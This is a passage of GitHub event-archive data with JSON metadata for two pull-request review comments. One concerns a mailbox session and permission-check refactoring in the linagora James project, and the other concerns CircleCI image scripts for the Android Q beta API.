{"action":"created","comment":{"url":"https://api.github.com/repos/linagora/james-project/pulls/comments/366254141","pull_request_review_id":342421874,"id":366254141,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM2NjI1NDE0MQ==","diff_hunk":"@@ -442,7 +446,7 @@ public Mailbox deleteMailbox(MailboxId mailboxId, MailboxSession session) throws\n if (mailbox == null) {\n throw new MailboxNotFoundException(mailboxId);\n }\n- assertIsOwner(session, mailbox.generateAssociatedPath());\n+ assertSessionHasAdministrativeAccessOn(session, mailbox.generateAssociatedPath());","path":"mailbox/store/src/main/java/org/apache/james/mailbox/store/StoreMailboxManager.java","position":null,"original_position":39,"commit_id":"d35482887877a5004436d03dc61081b4121cfb86","original_commit_id":"784a597f1a17c54b4b5e71a4799d58c83961849c","user":{"login":"Arsnael","id":9005025,"node_id":"MDQ6VXNlcjkwMDUwMjU=","avatar_url":"https://avatars1.githubusercontent.com/u/9005025?v=4","gravatar_id":"","url":"https://api.github.com/users/Arsnael","html_url":"https://github.com/Arsnael","followers_url":"https://api.github.com/users/Arsnael/followers","following_url":"https://api.github.com/users/Arsnael/following{/other_user}","gists_url":"https://api.github.com/users/Arsnael/gists{/gist_id}","starred_url":"https://api.github.com/users/Arsnael/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Arsnael/subscriptions","organizations_url":"https://api.github.com/users/Arsnael/orgs","repos_url":"https://api.github.com/users/Arsnael/repos","events_url":"https://api.github.com/users/Arsnael/events{/privacy}","received_events_url":"https://api.github.com/users/Arsnael/received_events","type":"User","site_admin":false},"body":"Actually took care of it regarding the tests in the other PR https://github.com/linagora/james-project/pull/3041/commits/5afbebec357b55d751dd2d45e1b2e731c734924b","created_at":"2020-01-14T10:17:12Z","updated_at":"2020-01-14T10:17:12Z","html_url":"https://github.com/linagora/james-project/pull/3038#discussion_r366254141","pull_request_url":"https://api.github.com/repos/linagora/james-project/pulls/3038","author_association":"NONE","_links":{"self":{"href":"https://api.github.com/repos/linagora/james-project/pulls/comments/366254141"},"html":{"href":"https://github.com/linagora/james-project/pull/3038#discussion_r366254141"},"pull_request":{"href":"https://api.github.com/repos/linagora/james-project/pulls/3038"}},"in_reply_to_id":366164425},"pull_request":{"url":"https://api.github.com/repos/linagora/james-project/pulls/3038","id":360850933,"node_id":"MDExOlB1bGxSZXF1ZXN0MzYwODUwOTMz","html_url":"https://github.com/linagora/james-project/pull/3038","diff_url":"https://github.com/linagora/james-project/pull/3038.diff","patch_url":"https://github.com/linagora/james-project/pull/3038.patch","issue_url":"https://api.github.com/repos/linagora/james-project/issues/3038","number":3038,"state":"open","locked":false,"title":"POC JAMES-2993 session refactoring","user":{"login":"Arsnael","id":9005025,"node_id":"MDQ6VXNlcjkwMDUwMjU=","avatar_url":"https://avatars1.githubusercontent.com/u/9005025?v=4","gravatar_id":"","url":"https://api.github.com/users/Arsnael","html_url":"https://github.com/Arsnael","followers_url":"https://api.github.com/users/Arsnael/followers","following_url":"https://api.github.com/users/Arsnael/following{/other_user}","gists_url":"https://api.github.com/users/Arsnael/gists{/gist_id}","starred_url":"https://api.github.com/users/Arsnael/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Arsnael/subscriptions","organizations_url":"https://api.github.com/users/Arsnael/orgs","repos_url":"https://api.github.com/users/Arsnael/repos","events_url":"https://api.github.com/users/Arsnael/events{/privacy}","received_events_url":"https://api.github.com/users/Arsnael/received_events","type":"User","site_admin":false},"body":"A refactoring of the session usage, regarding the discussion in https://github.com/linagora/james-project/pull/3035#discussion_r363684700\r\n\r\nNote: At the end, I did an attempt to refactor the `ReIndexerPerformer` to not use the `Mapper`, but didn't succeed. The problem being that the `ListeningMessageSearchIndex` is expecting `MailboxMessage` , returned by the `Mapper`, while a `MessageManager` returns a `MessageResult`. Starting to dig into this for a change sounds too time consuming and painful.\r\n\r\nHowever, we agreed with @chibenwa that it was ok to let it like this for now, as `ReIndexerPerformer` is part of the `mailbox-tools-indexer` module, which makes it then a mailbox module?\r\n\r\nBut this change should allow us to not use the mapper in `MessageFastViewProjectionCorrector`, so it's still a necessary one.","created_at":"2020-01-09T09:15:13Z","updated_at":"2020-01-14T10:17:12Z","closed_at":null,"merged_at":null,"merge_commit_sha":"f3beae00651f2830985895f09d0db2525e8909fa","assignee":{"login":"Arsnael","id":9005025,"node_id":"MDQ6VXNlcjkwMDUwMjU=","avatar_url":"https://avatars1.githubusercontent.com/u/9005025?v=4","gravatar_id":"","url":"https://api.github.com/users/Arsnael","html_url":"https://github.com/Arsnael","followers_url":"https://api.github.com/users/Arsnael/followers","following_url":"https://api.github.com/users/Arsnael/following{/other_user}","gists_url":"https://api.github.com/users/Arsnael/gists{/gist_id}","starred_url":"https://api.github.com/users/Arsnael/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Arsnael/subscriptions","organizations_url":"https://api.github.com/users/Arsnael/orgs","repos_url":"https://api.github.com/users/Arsnael/repos","events_url":"https://api.github.com/users/Arsnael/events{/privacy}","received_events_url":"https://api.github.com/users/Arsnael/received_events","type":"User","site_admin":false},"assignees":[{"login":"Arsnael","id":9005025,"node_id":"MDQ6VXNlcjkwMDUwMjU=","avatar_url":"https://avatars1.githubusercontent.com/u/9005025?v=4","gravatar_id":"","url":"https://api.github.com/users/Arsnael","html_url":"https://github.com/Arsnael","followers_url":"https://api.github.com/users/Arsnael/followers","following_url":"https://api.github.com/users/Arsnael/following{/other_user}","gists_url":"https://api.github.com/users/Arsnael/gists{/gist_id}","starred_url":"https://api.github.com/users/Arsnael/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Arsnael/subscriptions","organizations_url":"https://api.github.com/users/Arsnael/orgs","repos_url":"https://api.github.com/users/Arsnael/repos","events_url":"https://api.github.com/users/Arsnael/events{/privacy}","received_events_url":"https://api.github.com/users/Arsnael/received_events","type":"User","site_admin":false}],"requested_reviewers":[{"login":"mbaechler","id":708318,"node_id":"MDQ6VXNlcjcwODMxOA==","avatar_url":"https://avatars2.githubusercontent.com/u/708318?v=4","gravatar_id":"","url":"https://api.github.com/users/mbaechler","html_url":"https://github.com/mbaechler","followers_url":"https://api.github.com/users/mbaechler/followers","following_url":"https://api.github.com/users/mbaechler/following{/other_user}","gists_url":"https://api.github.com/users/mbaechler/gists{/gist_id}","starred_url":"https://api.github.com/users/mbaechler/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/mbaechler/subscriptions","organizations_url":"https://api.github.com/users/mbaechler/orgs","repos_url":"https://api.github.com/users/mbaechler/repos","events_url":"https://api.github.com/users/mbaechler/events{/privacy}","received_events_url":"https://api.github.com/users/mbaechler/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[{"id":937092914,"node_id":"MDU6TGFiZWw5MzcwOTI5MTQ=","url":"https://api.github.com/repos/linagora/james-project/labels/POC","name":"POC","color":"16b73b","default":false,"description":""}],"milestone":{"url":"https://api.github.com/repos/linagora/james-project/milestones/27","html_url":"https://github.com/linagora/james-project/milestone/27","labels_url":"https://api.github.com/repos/linagora/james-project/milestones/27/labels","id":4921569,"node_id":"MDk6TWlsZXN0b25lNDkyMTU2OQ==","number":27,"title":"Sprint 14 - Robusta beans","description":"","creator":{"login":"chibenwa","id":6928740,"node_id":"MDQ6VXNlcjY5Mjg3NDA=","avatar_url":"https://avatars1.githubusercontent.com/u/6928740?v=4","gravatar_id":"","url":"https://api.github.com/users/chibenwa","html_url":"https://github.com/chibenwa","followers_url":"https://api.github.com/users/chibenwa/followers","following_url":"https://api.github.com/users/chibenwa/following{/other_user}","gists_url":"https://api.github.com/users/chibenwa/gists{/gist_id}","starred_url":"https://api.github.com/users/chibenwa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/chibenwa/subscriptions","organizations_url":"https://api.github.com/users/chibenwa/orgs","repos_url":"https://api.github.com/users/chibenwa/repos","events_url":"https://api.github.com/users/chibenwa/events{/privacy}","received_events_url":"https://api.github.com/users/chibenwa/received_events","type":"User","site_admin":false},"open_issues":14,"closed_issues":30,"state":"open","created_at":"2019-12-11T07:01:19Z","updated_at":"2020-01-14T06:23:19Z","due_on":null,"closed_at":null},"commits_url":"https://api.github.com/repos/linagora/james-project/pulls/3038/commits","review_comments_url":"https://api.github.com/repos/linagora/james-project/pulls/3038/comments","review_comment_url":"https://api.github.com/repos/linagora/james-project/pulls/comments{/number}","comments_url":"https://api.github.com/repos/linagora/james-project/issues/3038/comments","statuses_url":"https://api.github.com/repos/linagora/james-project/statuses/d35482887877a5004436d03dc61081b4121cfb86","head":{"label":"Arsnael:poc-session","ref":"poc-session","sha":"d35482887877a5004436d03dc61081b4121cfb86","user":{"login":"Arsnael","id":9005025,"node_id":"MDQ6VXNlcjkwMDUwMjU=","avatar_url":"https://avatars1.githubusercontent.com/u/9005025?v=4","gravatar_id":"","url":"https://api.github.com/users/Arsnael","html_url":"https://github.com/Arsnael","followers_url":"https://api.github.com/users/Arsnael/followers","following_url":"https://api.github.com/users/Arsnael/following{/other_user}","gists_url":"https://api.github.com/users/Arsnael/gists{/gist_id}","starred_url":"https://api.github.com/users/Arsnael/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Arsnael/subscriptions","organizations_url":"https://api.github.com/users/Arsnael/orgs","repos_url":"https://api.github.com/users/Arsnael/repos","events_url":"https://api.github.com/users/Arsnael/events{/privacy}","received_events_url":"https://api.github.com/users/Arsnael/received_events","type":"User","site_admin":false},"repo":{"id":164052816,"node_id":"MDEwOlJlcG9zaXRvcnkxNjQwNTI4MTY=","name":"james-project","full_name":"Arsnael/james-project","private":false,"owner":{"login":"Arsnael","id":9005025,"node_id":"MDQ6VXNlcjkwMDUwMjU=","avatar_url":"https://avatars1.githubusercontent.com/u/9005025?v=4","gravatar_id":"","url":"https://api.github.com/users/Arsnael","html_url":"https://github.com/Arsnael","followers_url":"https://api.github.com/users/Arsnael/followers","following_url":"https://api.github.com/users/Arsnael/following{/other_user}","gists_url":"https://api.github.com/users/Arsnael/gists{/gist_id}","starred_url":"https://api.github.com/users/Arsnael/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Arsnael/subscriptions","organizations_url":"https://api.github.com/users/Arsnael/orgs","repos_url":"https://api.github.com/users/Arsnael/repos","events_url":"https://api.github.com/users/Arsnael/events{/privacy}","received_events_url":"https://api.github.com/users/Arsnael/received_events","type":"User","site_admin":false},"html_url":"https://github.com/Arsnael/james-project","description":"Mirror of Apache James Project","fork":true,"url":"https://api.github.com/repos/Arsnael/james-project","forks_url":"https://api.github.com/repos/Arsnael/james-project/forks","keys_url":"https://api.github.com/repos/Arsnael/james-project/keys{/key_id}","collaborators_url":"https://api.github.com/repos/Arsnael/james-project/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/Arsnael/james-project/teams","hooks_url":"https://api.github.com/repos/Arsnael/james-project/hooks","issue_events_url":"https://api.github.com/repos/Arsnael/james-project/issues/events{/number}","events_url":"https://api.github.com/repos/Arsnael/james-project/events","assignees_url":"https://api.github.com/repos/Arsnael/james-project/assignees{/user}","branches_url":"https://api.github.com/repos/Arsnael/james-project/branches{/branch}","tags_url":"https://api.github.com/repos/Arsnael/james-project/tags","blobs_url":"https://api.github.com/repos/Arsnael/james-project/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/Arsnael/james-project/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/Arsnael/james-project/git/refs{/sha}","trees_url":"https://api.github.com/repos/Arsnael/james-project/git/trees{/sha}","statuses_url":"https://api.github.com/repos/Arsnael/james-project/statuses/{sha}","languages_url":"https://api.github.com/repos/Arsnael/james-project/languages","stargazers_url":"https://api.github.com/repos/Arsnael/james-project/stargazers","contributors_url":"https://api.github.com/repos/Arsnael/james-project/contributors","subscribers_url":"https://api.github.com/repos/Arsnael/james-project/subscribers","subscription_url":"https://api.github.com/repos/Arsnael/james-project/subscription","commits_url":"https://api.github.com/repos/Arsnael/james-project/commits{/sha}","git_commits_url":"https://api.github.com/repos/Arsnael/james-project/git/commits{/sha}","comments_url":"https://api.github.com/repos/Arsnael/james-project/comments{/number}","issue_comment_url":"https://api.github.com/repos/Arsnael/james-project/issues/comments{/number}","contents_url":"https://api.github.com/repos/Arsnael/james-project/contents/{+path}","compare_url":"https://api.github.com/repos/Arsnael/james-project/compare/{base}...{head}","merges_url":"https://api.github.com/repos/Arsnael/james-project/merges","archive_url":"https://api.github.com/repos/Arsnael/james-project/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/Arsnael/james-project/downloads","issues_url":"https://api.github.com/repos/Arsnael/james-project/issues{/number}","pulls_url":"https://api.github.com/repos/Arsnael/james-project/pulls{/number}","milestones_url":"https://api.github.com/repos/Arsnael/james-project/milestones{/number}","notifications_url":"https://api.github.com/repos/Arsnael/james-project/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/Arsnael/james-project/labels{/name}","releases_url":"https://api.github.com/repos/Arsnael/james-project/releases{/id}","deployments_url":"https://api.github.com/repos/Arsnael/james-project/deployments","created_at":"2019-01-04T03:24:10Z","updated_at":"2020-01-14T09:00:40Z","pushed_at":"2020-01-14T10:15:07Z","git_url":"git://github.com/Arsnael/james-project.git","ssh_url":"git@github.com:Arsnael/james-project.git","clone_url":"https://github.com/Arsnael/james-project.git","svn_url":"https://github.com/Arsnael/james-project","homepage":null,"size":81338,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"linagora:master","ref":"master","sha":"350dd3cf212b174edbe4c86f6fca9f7a9dd4d2f6","user":{"login":"linagora","id":1230365,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyMzAzNjU=","avatar_url":"https://avatars3.githubusercontent.com/u/1230365?v=4","gravatar_id":"","url":"https://api.github.com/users/linagora","html_url":"https://github.com/linagora","followers_url":"https://api.github.com/users/linagora/followers","following_url":"https://api.github.com/users/linagora/following{/other_user}","gists_url":"https://api.github.com/users/linagora/gists{/gist_id}","starred_url":"https://api.github.com/users/linagora/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/linagora/subscriptions","organizations_url":"https://api.github.com/users/linagora/orgs","repos_url":"https://api.github.com/users/linagora/repos","events_url":"https://api.github.com/users/linagora/events{/privacy}","received_events_url":"https://api.github.com/users/linagora/received_events","type":"Organization","site_admin":false},"repo":{"id":39182136,"node_id":"MDEwOlJlcG9zaXRvcnkzOTE4MjEzNg==","name":"james-project","full_name":"linagora/james-project","private":false,"owner":{"login":"linagora","id":1230365,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyMzAzNjU=","avatar_url":"https://avatars3.githubusercontent.com/u/1230365?v=4","gravatar_id":"","url":"https://api.github.com/users/linagora","html_url":"https://github.com/linagora","followers_url":"https://api.github.com/users/linagora/followers","following_url":"https://api.github.com/users/linagora/following{/other_user}","gists_url":"https://api.github.com/users/linagora/gists{/gist_id}","starred_url":"https://api.github.com/users/linagora/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/linagora/subscriptions","organizations_url":"https://api.github.com/users/linagora/orgs","repos_url":"https://api.github.com/users/linagora/repos","events_url":"https://api.github.com/users/linagora/events{/privacy}","received_events_url":"https://api.github.com/users/linagora/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/linagora/james-project","description":"Mirror of Apache James Project","fork":true,"url":"https://api.github.com/repos/linagora/james-project","forks_url":"https://api.github.com/repos/linagora/james-project/forks","keys_url":"https://api.github.com/repos/linagora/james-project/keys{/key_id}","collaborators_url":"https://api.github.com/repos/linagora/james-project/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/linagora/james-project/teams","hooks_url":"https://api.github.com/repos/linagora/james-project/hooks","issue_events_url":"https://api.github.com/repos/linagora/james-project/issues/events{/number}","events_url":"https://api.github.com/repos/linagora/james-project/events","assignees_url":"https://api.github.com/repos/linagora/james-project/assignees{/user}","branches_url":"https://api.github.com/repos/linagora/james-project/branches{/branch}","tags_url":"https://api.github.com/repos/linagora/james-project/tags","blobs_url":"https://api.github.com/repos/linagora/james-project/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/linagora/james-project/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/linagora/james-project/git/refs{/sha}","trees_url":"https://api.github.com/repos/linagora/james-project/git/trees{/sha}","statuses_url":"https://api.github.com/repos/linagora/james-project/statuses/{sha}","languages_url":"https://api.github.com/repos/linagora/james-project/languages","stargazers_url":"https://api.github.com/repos/linagora/james-project/stargazers","contributors_url":"https://api.github.com/repos/linagora/james-project/contributors","subscribers_url":"https://api.github.com/repos/linagora/james-project/subscribers","subscription_url":"https://api.github.com/repos/linagora/james-project/subscription","commits_url":"https://api.github.com/repos/linagora/james-project/commits{/sha}","git_commits_url":"https://api.github.com/repos/linagora/james-project/git/commits{/sha}","comments_url":"https://api.github.com/repos/linagora/james-project/comments{/number}","issue_comment_url":"https://api.github.com/repos/linagora/james-project/issues/comments{/number}","contents_url":"https://api.github.com/repos/linagora/james-project/contents/{+path}","compare_url":"https://api.github.com/repos/linagora/james-project/compare/{base}...{head}","merges_url":"https://api.github.com/repos/linagora/james-project/merges","archive_url":"https://api.github.com/repos/linagora/james-project/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/linagora/james-project/downloads","issues_url":"https://api.github.com/repos/linagora/james-project/issues{/number}","pulls_url":"https://api.github.com/repos/linagora/james-project/pulls{/number}","milestones_url":"https://api.github.com/repos/linagora/james-project/milestones{/number}","notifications_url":"https://api.github.com/repos/linagora/james-project/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/linagora/james-project/labels{/name}","releases_url":"https://api.github.com/repos/linagora/james-project/releases{/id}","deployments_url":"https://api.github.com/repos/linagora/james-project/deployments","created_at":"2015-07-16T07:04:59Z","updated_at":"2020-01-14T09:00:23Z","pushed_at":"2020-01-14T10:15:10Z","git_url":"git://github.com/linagora/james-project.git","ssh_url":"git@github.com:linagora/james-project.git","clone_url":"https://github.com/linagora/james-project.git","svn_url":"https://github.com/linagora/james-project","homepage":null,"size":80585,"stargazers_count":29,"watchers_count":29,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":39,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":100,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":39,"open_issues":100,"watchers":29,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/linagora/james-project/pulls/3038"},"html":{"href":"https://github.com/linagora/james-project/pull/3038"},"issue":{"href":"https://api.github.com/repos/linagora/james-project/issues/3038"},"comments":{"href":"https://api.github.com/repos/linagora/james-project/issues/3038/comments"},"review_comments":{"href":"https://api.github.com/repos/linagora/james-project/pulls/3038/comments"},"review_comment":{"href":"https://api.github.com/repos/linagora/james-project/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/linagora/james-project/pulls/3038/commits"},"statuses":{"href":"https://api.github.com/repos/linagora/james-project/statuses/d35482887877a5004436d03dc61081b4121cfb86"}},"author_association":"NONE"}}
|
{
"id": 39182136,
"name": "linagora/james-project",
"url": "https://api.github.com/repos/linagora/james-project"
}
|
{
"id": 9005025,
"login": "Arsnael",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/9005025?",
"url": "https://api.github.com/users/Arsnael"
}
|
{
"id": 1230365,
"login": "linagora",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1230365?",
"url": "https://api.github.com/orgs/linagora"
}
| 2020-01-14T10:17:12 |
11270130425
|
{"actor":{"display_login":"Arsnael"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/circleci/circleci-images/pulls/comments/285793049","pull_request_review_id":239753850,"id":285793049,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI4NTc5MzA0OQ==","diff_hunk":"@@ -21,6 +21,11 @@ function generate_dockerfile {\n # if we want to add another API version, bump paralellism by 1\n if [[ \"$CIRCLE_NODE_TOTAL\" -gt 1 ]]; then\n let API=${CIRCLE_NODE_INDEX}+23\n+ \n+ if [[ $API == 29 ]]; then\n+\t API=Q\n+ fi","path":"android/generate-images","position":7,"original_position":7,"commit_id":"b254cf1930bf227bd14bfe89f86685ee5d069bb7","original_commit_id":"b254cf1930bf227bd14bfe89f86685ee5d069bb7","user":{"login":"marcomorain","id":448001,"node_id":"MDQ6VXNlcjQ0ODAwMQ==","avatar_url":"https://avatars0.githubusercontent.com/u/448001?v=4","gravatar_id":"","url":"https://api.github.com/users/marcomorain","html_url":"https://github.com/marcomorain","followers_url":"https://api.github.com/users/marcomorain/followers","following_url":"https://api.github.com/users/marcomorain/following{/other_user}","gists_url":"https://api.github.com/users/marcomorain/gists{/gist_id}","starred_url":"https://api.github.com/users/marcomorain/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/marcomorain/subscriptions","organizations_url":"https://api.github.com/users/marcomorain/orgs","repos_url":"https://api.github.com/users/marcomorain/repos","events_url":"https://api.github.com/users/marcomorain/events{/privacy}","received_events_url":"https://api.github.com/users/marcomorain/received_events","type":"User","site_admin":false},"body":"This system of using parallelism is really confusing (not your code, I know).it took a while to understand what’s happening. \r\n\r\nIt would be better to have 8 different jobs in `config.yml` each with a different env var that controls the API version. Using 2.1 config for this shouldn’t generate too much boilerplate. \r\n\r\n```yaml\r\njobs:\r\n android:\r\n parameters:\r\n sdk:\r\n type: string\r\n environment:\r\n ANDROID_SDK_VER: << parameters.sdk >>\r\n\r\n... \r\n\r\nworkflows:\r\n wf:\r\n jobs:\r\n - android:\r\n sdk: “23”\r\n - android:\r\n sdk: “24”\r\n - android:\r\n sdk: “Q”\r\n```\r\n\r\nThis would make the code longer for sure, but it would be far more straightforward. ","created_at":"2019-05-20T22:40:16Z","updated_at":"2019-05-20T22:40:35Z","html_url":"https://github.com/circleci/circleci-images/pull/396#discussion_r285793049","pull_request_url":"https://api.github.com/repos/circleci/circleci-images/pulls/396","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/circleci/circleci-images/pulls/comments/285793049"},"html":{"href":"https://github.com/circleci/circleci-images/pull/396#discussion_r285793049"},"pull_request":{"href":"https://api.github.com/repos/circleci/circleci-images/pulls/396"}}},"pull_request":{"url":"https://api.github.com/repos/circleci/circleci-images/pulls/396","id":280560144,"node_id":"MDExOlB1bGxSZXF1ZXN0MjgwNTYwMTQ0","html_url":"https://github.com/circleci/circleci-images/pull/396","diff_url":"https://github.com/circleci/circleci-images/pull/396.diff","patch_url":"https://github.com/circleci/circleci-images/pull/396.patch","issue_url":"https://api.github.com/repos/circleci/circleci-images/issues/396","number":396,"state":"open","locked":false,"title":"Build Android Q Beta API","user":{"login":"felicianotech","id":6017470,"node_id":"MDQ6VXNlcjYwMTc0NzA=","avatar_url":"https://avatars1.githubusercontent.com/u/6017470?v=4","gravatar_id":"","url":"https://api.github.com/users/felicianotech","html_url":"https://github.com/felicianotech","followers_url":"https://api.github.com/users/felicianotech/followers","following_url":"https://api.github.com/users/felicianotech/following{/other_user}","gists_url":"https://api.github.com/users/felicianotech/gists{/gist_id}","starred_url":"https://api.github.com/users/felicianotech/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/felicianotech/subscriptions","organizations_url":"https://api.github.com/users/felicianotech/orgs","repos_url":"https://api.github.com/users/felicianotech/repos","events_url":"https://api.github.com/users/felicianotech/events{/privacy}","received_events_url":"https://api.github.com/users/felicianotech/received_events","type":"User","site_admin":false},"body":"Adds support for the Android Q beta. The images generated from this PR are experimental. They are to help developers prepare for the upcoming Android 10/Q/API 29 release.\r\n\r\nIf this gets merged, the changes in lines 25-28 in the `generate-images` file should be reverted once the level Q API officially becomes the level 29 API.","created_at":"2019-05-20T22:15:06Z","updated_at":"2019-05-20T22:40:35Z","closed_at":null,"merged_at":null,"merge_commit_sha":"5e60c999406489e855d01d5bdb8bcf19ba6e6f5c","assignee":null,"assignees":[],"requested_reviewers":[{"login":"iynere","id":20866862,"node_id":"MDQ6VXNlcjIwODY2ODYy","avatar_url":"https://avatars0.githubusercontent.com/u/20866862?v=4","gravatar_id":"","url":"https://api.github.com/users/iynere","html_url":"https://github.com/iynere","followers_url":"https://api.github.com/users/iynere/followers","following_url":"https://api.github.com/users/iynere/following{/other_user}","gists_url":"https://api.github.com/users/iynere/gists{/gist_id}","starred_url":"https://api.github.com/users/iynere/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/iynere/subscriptions","organizations_url":"https://api.github.com/users/iynere/orgs","repos_url":"https://api.github.com/users/iynere/repos","events_url":"https://api.github.com/users/iynere/events{/privacy}","received_events_url":"https://api.github.com/users/iynere/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/circleci/circleci-images/pulls/396/commits","review_comments_url":"https://api.github.com/repos/circleci/circleci-images/pulls/396/comments","review_comment_url":"https://api.github.com/repos/circleci/circleci-images/pulls/comments{/number}","comments_url":"https://api.github.com/repos/circleci/circleci-images/issues/396/comments","statuses_url":"https://api.github.com/repos/circleci/circleci-images/statuses/b254cf1930bf227bd14bfe89f86685ee5d069bb7","head":{"label":"circleci:android-q","ref":"android-q","sha":"b254cf1930bf227bd14bfe89f86685ee5d069bb7","user":{"login":"circleci","id":1231870,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyMzE4NzA=","avatar_url":"https://avatars2.githubusercontent.com/u/1231870?v=4","gravatar_id":"","url":"https://api.github.com/users/circleci","html_url":"https://github.com/circleci","followers_url":"https://api.github.com/users/circleci/followers","following_url":"https://api.github.com/users/circleci/following{/other_user}","gists_url":"https://api.github.com/users/circleci/gists{/gist_id}","starred_url":"https://api.github.com/users/circleci/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/circleci/subscriptions","organizations_url":"https://api.github.com/users/circleci/orgs","repos_url":"https://api.github.com/users/circleci/repos","events_url":"https://api.github.com/users/circleci/events{/privacy}","received_events_url":"https://api.github.com/users/circleci/received_events","type":"Organization","site_admin":false},"repo":{"id":85091879,"node_id":"MDEwOlJlcG9zaXRvcnk4NTA5MTg3OQ==","name":"circleci-images","full_name":"circleci/circleci-images","private":false,"owner":{"login":"circleci","id":1231870,"node_id":"MDEyOk9yZ2FuaXphdGlvbjEyMzE4NzA=","avatar_url":"https://avatars2.githubusercontent.com/u/1231870?v=4","gravatar_id":"","url":"https://api.github.com/users/circleci","html_url":"https://github.com/circleci","followers_url":"https://api.github.com/users/circleci/followers","following_url":"https://api.github.com/users/circleci/following{/other_user}","gists_url":"https://api.github.com/users/circleci/gists{/gist_id}","starred_url":"https://api.github.com/users/circleci/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/circleci/subscriptions","organizations_url":"https://api.github.com/users/circleci/orgs","repos_url":"https://api.github.com/users/circleci/repos","events_url":"https://api.github.com/users/circleci/events{/privacy}","received_events_url":"https://api.github.com/users/circleci/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/circleci/circleci-images","description":"Scripts to generate images for building projects on CircleCI 2.0","fork":false,"url":"https://api.github.com/repos/circleci/circleci-images","forks_url":"https://api.github.com/repos/circleci/circleci-images/forks","keys_url":"https://api.github.com/repos/circleci/circleci-images/keys{/key_id}","collaborators_url":"https://api.github.com/repos/circleci/circleci-images/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/circleci/circleci-images/teams","hooks_url":"https://api.github.com/repos/circleci/circleci-images/hooks","issue_events_url":"https://api.github.com/repos/circleci/circleci-images/issues/events{/number}","events_url":"https://api.github.com/repos/circleci/circleci-images/events","assignees_url":"https://api.github.com/repos/circleci/circleci-images/assignees{/user}","branches_url":"https://api.github.com/repos/circleci/circleci-images/branches{/branch}","tags_url":"https://api.github.com/repos/circleci/circleci-images/tags","blobs_url":"https://api.github.com/repos/circleci/circleci-images/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/circleci/circleci-images/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/circleci/circleci-images/git/refs{/sha}","trees_url":"https://api.github.com/repos/circleci/circleci-images/git/trees{/sha}","statuses_url":"https://api.github.com/repos/circleci/circleci-images/statuses/{sha}","languages_url":"https://api.github.com/repos/circleci/circleci-images/languages","stargazers_url":"https://api.github.com/repos/circleci/circleci-images/stargazers","contributors_url":"https://api.github.com/repos/circleci/circleci-images/contributors","subscribers_url":"https://api.github.com/repos/circleci/circleci-images/subscribers","subscription_url":"https://api.github.com/repos/circleci/circleci-images/subscription","commits_url":"https://api.github.com/repos/circleci/circleci-images/commits{/sha}","git_commits_url":"https://api.github.com/repos/circleci/circleci-images/git/commits{/sha}","comments_url":"https://api.github.com/repos/circleci/circleci-images/comments{/number}","issue_comment_url":"https://api.github.com/repos/circleci/circleci-images/issues/comments{/number}","contents_url":"https://api.github.com/repos/circleci/circleci-images/contents/{+path}","compare_url":"https://api.github.com/repos/circleci/circleci-images/compare/{base}...{head}","merges_url":"https://api.github.com/repos/circleci/circleci-images/merges","archive_url":"https://api.github.com/repos/circleci/circleci-images/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/circleci/circleci-images/downloads","issues_url":"https://api.github.com/repos/circleci/circleci-images/issues{/number}","pulls_url":"https://api.github.com/repos/circleci/circleci-